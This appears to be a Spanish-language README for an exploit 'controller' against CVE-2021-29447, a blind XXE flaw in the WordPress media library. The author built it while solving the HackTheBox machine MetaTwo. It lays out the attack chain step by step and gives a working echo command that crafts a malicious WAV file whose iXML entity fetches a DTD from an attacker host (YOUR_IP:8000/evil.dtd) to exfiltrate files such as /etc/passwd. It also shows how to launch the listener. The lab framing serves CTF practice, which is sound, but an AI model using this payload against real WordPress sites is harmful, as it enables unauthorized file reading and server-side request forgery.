
Controlador de lectura arbitraria de archivos basado en CVE-2021-29447
Creé este controlador al resolver la máquina metatwo en HackTheBox para explotar CVE-2021-29447, que es una vulnerabilidad XXE en WordPress en la librería de medios de las versiones afectadas 5.7, 5.6.2, 5.6.1, 5.6, 5.0.11. En ella, un usuario autenticado con capacidad de subir archivos a la librería de medios puede cargar un archivo wav malicioso que podría provocar una lectura remota arbitraria de archivos y una falsificación de solicitudes del lado del servidor (SSRF).
Para explotar estas vulnerabilidades, se requieren varios pasos para completar un ataque exitoso. El resultado del análisis de metadatos iXML no se envía de vuelta al usuario, por lo que para explotarlo necesitamos un payload XXE ciego. Esto se puede hacer incluyendo un DTD (Definición de Tipo de Documento) externo controlado por el atacante, y debemos crear el archivo wav malicioso para recibir la conexión en el servidor de escucha del atacante. Una vez realizados estos pasos, subimos el archivo wav al servidor y esperamos a recibir una solicitud HTTP que contenga el contenido codificado en base64 de nuestro archivo de payload (por ejemplo, /etc/passwd), y luego decodificamos el base64. Este controlador tiene todas las soluciones para estos múltiples pasos. Solo necesitas escribir el nombre del archivo en el controlador $console >
Blog detallado: https://blog.sonarsource.com/wordpress-xxe-security-vulnerability/
Nota: Este controlador está completamente configurado para la máquina metatwo de HTB. Para cualquier uso externo, necesitas hacer algunos cambios en los scripts.
Crea un archivo wav llamado payload.wav
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_IP:8000/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
Ejecuta main.py
python3 main.py listen_ip
